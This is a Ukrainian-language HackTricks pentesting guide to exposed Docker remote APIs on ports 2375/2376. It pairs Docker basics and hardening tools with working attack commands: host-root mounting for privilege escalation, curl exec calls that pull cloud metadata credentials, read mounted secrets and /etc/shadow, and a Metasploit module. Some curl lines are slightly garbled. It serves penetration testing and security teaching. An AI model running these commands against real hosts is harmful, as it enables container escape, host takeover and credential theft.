2375, 2376 Pentesting Docker

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Docker Основи

Що таке

Docker — це провідна платформа в індустрії контейнеризації, що очолює безперервні інновації. Він полегшує створення та розповсюдження додатків від традиційних до футуристичних і забезпечує їх безпечне розгортання в різних середовищах.

Базова архітектура docker

  • containerd: Це основний runtime для контейнерів, відповідальний за повне керування життєвим циклом контейнера. Це включає обробку передачі та зберігання образів, а також нагляд за запуском, моніторингом і мережею контейнерів. Детальніша інформація про containerd розглядається далі.
  • The container-shim відіграє критичну роль як посередник у роботі з headless containers, безперервно перехоплюючи управління від runc після ініціалізації контейнерів.
  • runc: Відомий своїми можливостями легкого та універсального runtime для контейнерів, runc відповідає стандарту OCI. Він використовується containerd для запуску та керування контейнерами відповідно до настанов OCI, еволюціонувавши з оригінального libcontainer.
  • grpc є необхідним для забезпечення зв’язку між containerd і docker-engine, гарантуючи ефективну взаємодію.
  • The OCI має ключове значення у підтримці специфікацій OCI для runtime та образів, причому останні версії Docker відповідають стандартам OCI як для image, так і для runtime.

Базові команди

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerd був спеціально розроблений, щоб задовольнити потреби платформ для контейнеризації, таких як Docker and Kubernetes, серед інших. Він прагне спростити запуск контейнерів на різних операційних системах, включно з Linux, Windows, Solaris та іншими, абстрагуючи ОС-специфічну функціональність і системні виклики. Мета Containerd — включати лише необхідні функції для своїх користувачів, стараючись уникати непотрібних компонентів. Однак визнано, що повністю досягти цієї мети складно.

Ключове проєктне рішення — що Containerd не займається управлінням мережею. Мережі вважаються критичною складовою розподілених систем, з такими складнощами, як Software Defined Networking (SDN) і виявлення сервісів, які суттєво відрізняються від платформи до платформи. Тому Containerd залишає мережеві аспекти на розсуд платформ, які він підтримує.

Хоча Docker використовує Containerd для запуску контейнерів, важливо зазначити, що Containerd підтримує лише підмножину функціональності Docker. Зокрема, Containerd не має можливостей керування мережею, присутніх у Docker, і не підтримує безпосереднє створення Docker swarms. Ця відмінність підкреслює сфокусовану роль Containerd як середовища виконання контейнерів, делегуючи більш спеціалізовані функції платформам, з якими він інтегрується.

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podman — відкритий container engine, який відповідає Open Container Initiative (OCI) standards, розроблений і підтримується Red Hat. Він відрізняється від Docker кількома особливими рисами, зокрема своєю daemonless architecture та підтримкою rootless containers, що дозволяє користувачам запускати контейнери без привілеїв root.

Podman спроєктований сумісним із Docker API, що дозволяє використовувати Docker CLI команди. Ця сумісність поширюється на його екосистему, яка включає інструменти, такі як Buildah для створення образів контейнерів і Skopeo для операцій з образами, таких як push, pull та inspect. Більше деталей про ці інструменти можна знайти на їх GitHub page.

Key Differences

  • Architecture: На відміну від клієнт-серверної моделі Docker з фоновим демоном, Podman працює без демона. Такий підхід означає, що контейнери запускаються з привілеями користувача, який їх стартував, що підвищує безпеку, оскільки усуває потребу в root-доступі.
  • Systemd Integration: Podman інтегрується з systemd для керування контейнерами, дозволяючи управляти контейнерами через systemd units. Це відрізняється від використання systemd у Docker переважно для керування процесом демона Docker.
  • Rootless Containers: Ключова можливість Podman — запуск контейнерів під привілеями користувача, який їх ініціював. Такий підхід мінімізує ризики, пов’язані з компрометацією контейнера, гарантучи, що атакуючий отримає лише привілеї скомпрометованого користувача, а не root-доступ.

Підхід Podman пропонує безпечну та гнучку альтернативу Docker, акцентуючи увагу на управлінні привілеями користувачів і сумісності з існуючими Docker workflows.

Tip

Зверніть увагу, що оскільки podam прагне підтримувати той самий API, що й docker, ви можете використовувати ті самі команди з podman, що й з docker, наприклад:

podman --version
podman info
pdoman images ls
podman ls

Basic Information

Remote API запускається за замовчуванням на порті 2375 при увімкненні. За замовчуванням сервіс не вимагатиме аутентифікації, що дозволяє нападникові запустити привілейований docker контейнер. Використовуючи Remote API, можна приєднати хости / (root directory) до контейнера та читати/записувати файли середовища хоста.

Default port: 2375

PORT    STATE SERVICE
2375/tcp open  docker

Перерахування

Вручну

Зверніть увагу, що для перерахування docker API ви можете використовувати команду docker або curl, як у наведеному нижче прикладі:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

Якщо ви можете зв’язатися з віддаленим docker API за допомогою команди docker ви можете виконати будь-яку з docker раніше згаданих команд, щоб взаємодіяти з сервісом.

Tip

Ви можете export DOCKER_HOST="tcp://localhost:2375" і уникнути використання параметра -H з командою docker

Швидке підвищення привілеїв

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

Іноді ви побачите 2376 відкритим для TLS endpoint. Мені не вдавалося підключитися до нього за допомогою docker client, але це можливо зробити за допомогою curl.

#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

Якщо ви хочете більше інформації про це, додаткова інформація доступна за джерелом, звідки я скопіював команди: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

Automatic

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Компрометація

На наступній сторінці ви знайдете способи escape from a container:

Container Security

Зловживаючи цим, можна escape from a container, ви можете запустити слабкий container на віддаленій машині, escape from it і скомпрометувати машину:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

Privilege Escalation

Якщо ви перебуваєте на хості, що використовує docker, ви можете read this information to try to elevate privileges.

Виявлення секретів у запущених Docker контейнерах

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

Перевірте env (розділ змінних середовища) на наявність секретів — і ви можете знайти:

  • Паролі.
  • IP-адреси.
  • Порти.
  • Шляхи.
  • Інше… .

Якщо ви хочете витягти файл:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Захист вашого Docker

Захист встановлення та використання Docker

  • Ви можете використовувати інструмент https://github.com/docker/docker-bench-security для перевірки вашої поточної інсталяції docker.
  • ./docker-bench-security.sh
  • Ви можете використовувати інструмент https://github.com/kost/dockscan для перевірки вашої поточної інсталяції docker.
  • dockscan -v unix:///var/run/docker.sock
  • Ви можете використовувати інструмент https://github.com/genuinetools/amicontained, щоб перевірити привілеї, які матиме контейнер при запуску з різними параметрами безпеки. Це корисно для розуміння наслідків використання певних параметрів безпеки під час запуску контейнера:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Захист образів Docker

  • Ви можете використовувати docker-образ https://github.com/quay/clair, щоб просканувати інші образи Docker і знайти вразливості.
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Захист Dockerfile

  • Ви можете використовувати інструмент https://github.com/replicatedhq/dockerfilelint щоб перевірити ваш Dockerfile і знайти різного роду неправильні налаштування.
  • dockerfilelint Dockerfile

  • Ви можете використовувати інструмент https://github.com/RedCoolBeans/dockerlint щоб перевірити ваш Dockerfile і знайти різного роду неправильні налаштування.
  • dockerlint Dockerfile

  • Ви можете використовувати інструмент https://github.com/hadolint/hadolint щоб перевірити ваш Dockerfile і знайти різного роду неправильні налаштування.
  • hadolint Dockerfile

Логування підозрілої активності

  • Ви можете використовувати інструмент https://github.com/falcosecurity/falco для виявлення підозрілої поведінки в запущених контейнерах.
  • Зверніть увагу в наведеному нижче фрагменті, як Falco компілює модуль ядра і вставляє його. Після цього воно завантажує правила і починає логувати підозрілі події. У цьому випадку воно виявило 2 запущені привілейовані контейнери, один з них з чутливим mount, і через кілька секунд воно виявило, що всередині одного з контейнерів був відкритий shell.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Моніторинг Docker

Ви можете використовувати auditd для моніторингу Docker.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks